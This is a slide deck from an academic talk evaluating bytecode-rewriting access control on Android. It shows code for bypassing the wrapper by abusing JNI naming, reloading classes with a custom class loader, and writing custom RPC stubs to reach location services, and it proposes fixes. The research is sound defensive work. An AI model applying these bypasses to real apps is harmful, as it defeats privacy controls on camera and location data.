On the Effectiveness of API-Level Access Control Using Bytecode Rewriting

1. On the Effectiveness of API-Level Access Control Using Bytecode Rewriting • Hao Hao Syracuse University • Vicky Singh Syracuse University Wenliang Du Syracuse University

2. Agenda • Introduction on API-level Access Control using Bytecode Rewriting • Analysis on Existing Works • Attacks • Recommendations

3. Android Permission System • Current Android install-time permission system • Coarse-grained Permissions • e.g., INTERNET permission Application Android API Privileged Resources Check Permissions ProblemStatement

4. API-level Access Control • Impose fine-grained access control • Instrument applications • Bytecode rewriting • Native library rewriting • Modify Android platform Flexibility Rich context information • Easy deployment ProblemStatement

5. Existing Works • Bytecode rewriting • Improving privacy on android smartphones through in-vivo bytecode instrumentation. • A. Bartel, J. Klein, K. Allix, Y. Traon, and M. Monperrus. • I-arm-droid: A rewriting framework for in-app reference monitors for android applications. • B. Davis, B. Sanders, A. Khodaverdian, and H. Chen. • Dr. android and Mr. hide: Fine-grained security policies on unmodified android. • J. Jeon, K. K. Micinski, and J. A. Vaughan • Application-centric security policies on unmodified android. • N. Reddy, J. Jeon, J. Vaughan, T. Millstein, and J. Foster ProblemStatement

6. Objective • Systematic evaluation to assess the effectiveness of API-level access control using bytecode rewriting on Android platform

7. API-level Access Control Using Bytecode Rewriting Dalvik Bytecode Static Analysis Dalvik Bytecode Rewriting Repackage and Resigning Original App.apk Secure App.apk • Design • Implementation Secure Wrapper Application Android API Privileged Resources ProblemStatement

8. Android API Architecture Secure Wrapper System Server Process Application Process Application Android APIs System Services Dalvik Virtual Machine Dalvik Virtual Machine Binder Java Native Interface Native Shared Library Privileged Resources Kernel Space Linux Kernel Analysis

9. Effectiveness of API-level Access Control Secure Wrapper System Server Process Application Process Application Android APIs System Services Dalvik Virtual Machine 3 Dalvik Virtual Machine Binder Java Native Interface Native Shared Library Privileged Resources 4 2 1 Kernel Space Linux Kernel Analysis

10. Path 2: Invoke Native Libraries Directly • Background: Java Native Interface • Enable communications between Java code and native code. • Usage myLib.so JNIEXPORT jlongJava_edu_com_MyClass_myFunc( JNIEnv* env, jobjectthiz); Dynamic Name Resolution package edu.com; public class MyClass { native public long myFunc(); static { System.loadLibrary("myLib"); } } staticJNINativeMethodmethod_table [] = {{ "myFunc", "(J)J", (void *) myFunc_Implementation }}; extern "C" jint JNI_OnLoad(JavaVM* vm, ... ) { jclass c = env->FindClass("edu/com/MyClass"); env->RegisterNatives(c, method_table, 1); } Static Methods Association Attacks

11. Path 2: Exploit JNI Naming Convention • Objective • Invoke a native library function without going through its corresponding Java API to evade the restriction enforced by the secure wrapper. Application Methods Secure Wrapper Android APIs JNI JNI Shared Libraries Attacks

12. Path 2: Exploit JNI Naming Convention • Attempts 1: (Fail) • Attempts 2: (Success) package edu.com; public class MyClass { native public long my_Func(); } JNIEXPORT jlongJava_edu_com_MyClass_my_Func( JNIEnv* env, jobjectthiz); JNIEXPORT jlong Java_edu_com_MyClass_my_1Func( JNIEnv* env, jobjectthiz); package edu.com.MyClass; public class my { native public long Func(); } package edu.com.MyClass; public class my { native long 1Func(); static { System.loadLibrary(’myLib’); } } Attacks

13. Path 2: Case Study • In sqlite_jni library, we found functions with the "_1" pattern in the names. • By invoking SQLite.Database.error.1string we successfully invoked Java_SQLite_Database_error_1string. package SQLite.Database; public class error { public static native String 1string(...); static{ System.loadLibrary(’sqlite_jni’); } } JNIEXPORT jstring JNICALL Java_SQLite_Database_error_1string(JNIEnv *env, …) { … } sqlite_jni.so Results

14. Path 2: Exploit Java Class Reloading • Objective • modify the implementation of the APIs that the wrapper is trying to protect. Application Secure Wrapper Class Loader Customized Android APIs JNI Shared Libraries Attacks

15. Path 2: Exploit Java Class Reloading • Attempts 1: (Fail) • use DexClassLoader to load redefined class package android.hardware; public class Camera{ final public void someFunc() { //Calling the privileged function privilegedFunc(); } native void privilegedFunc(); } DexClassLoaderclassLoader = new DexClassLoader("Camera.apk", ..., getClassLoader()); Class mClass = classLoader.loadClass("android.hardware.Camera"); android.hardware.Camera c = (android.hardware.Camera)mClass.newInstance(); //Access the privileged native code through someFunc() c.someFunc(); Class cannot be loaded again Attacks

16. Path 2: Exploit Java Class Reloading • Attempts 2: (Success) • Use user-define class loader Override loading policy package android.hardware; public class Camera{ final public void someFunc() { //Calling the privileged function privilegedFunc(); } native void privilegedFunc(); } publicclassMyDexLoaderextendsBaseDexClassLoader { // Constructor omitted @Override public Class<?> loadClass(String s) { Class c; try { c = super.findClass(s); return c; } catch (ClassNotFoundException e) { // handling the exceptions } return null; } } Attacks

17. Path 2:Case Study • Performed our attack on a camera application. Bytecode rewriter enforced finer-grained access control on methodCamera.takePicture • reload redefined android.hardware.Camera class into a new class loader. Take pictures between 8am to 6pm publicclassSecureCamera{ publicstaticvoidtakePicture(Camera camera, ...){ Time now = new Time(); now.setToNow(); if(now.hour > 8 && now.hour < 18) { camera.takePicture(...); }}} package android.hardware; public class Camera { public void takeMyPicture(...) {...}} Results

18. Path 2:Case Study • Associate native Java methods of Camera class with corresponding native library functions. • Then attackers can use their customized class definition //Create a customized class loader MyDexLoader ld = newMyDexLoader(...); //Load redefined Camera class Class c = ld.loadClass("android.hardware.Camera"); Class util = ld.loadClass("com.android.internal.util.WithFramework"); Method m = util.getDeclaredMethod("registerNatives", ...); m.invoke(...); registers native functions with Camera Java class //Invoke takeMyPicture method using reflection m = c.getDeclaredMethod("takeMyPicture", ...); m.invoke(...); ... } Results

19. Path 2: Recommendations • Recommendations for Exploit JNI Naming Convention • If any Java methods start with numbers, bytecode rewriter should remove the digit as it is illegal. • Recommendations for Exploit Java Class Reloading • One possible way is bytecode rewriter should restrict all the invocations of methods within the call chain from findClass in the class BaseDexClassLoader to loadClass in DexFile. Discussions

20. Path 3:Exploit Customized RPC Stubs • Objective • Applications code can directly communicate with the system services without going through APIs that invoke RPC stubs. • Attack • write attackers own RPC stub to communicate with System Service Application Secure Wrapper Customized RPC Stubs Android APIs Native Shared Library Attacks

21. Path 3:Case Study • Evaluated on a geolocation application. Bytecode rewriter enforced fine access control policy on method getLastKnownLocation. Retrieve location information when the location is within Alaska. classSecureLocationManagerextends LocationManager{ public Location getLastKnownLocation(...) { Location loc = super.getLastKnownLocation(...); if(loc.getLatitude()>60&&loc.getLatitude()<70&& loc.getLongtitude()>140&&loc.getLongtitude() <160) { return loc; }} Results

22. Path 3:Case Study • Attackers can introduce customized RPC with different method signature. • Use customized RPC with different method signature to bypass access control placed on getLastKnownLocationAPI. packagemy.location; /* User-defined RPC stub class */ publicinterface LocMgr extends android.os.IInterface { publicstaticabstractclass Stub extends android.os.Binderimplements my.location.LocMgr {...}} import my.location.LocMgr; IBinder b=android.os.ServiceManager.getService(LOCATION_SERVICE); LocMgrsLocationManger = LocMgr.Stub.asInterface(b); Location loc = sLocationManger.getLastKnownLocation(...); Results

23. Path 3:Recommendation • The fix is to apply the API-level access control on android.os.ServiceManager’sgetService API, so application’s Java code cannot use this API to get system services. Discussions

24. Conclusion • Our work manifests the need to address all the above attacks to fulfill an effective API-level access control using bytecode rewriting. Discussions

25. Questions?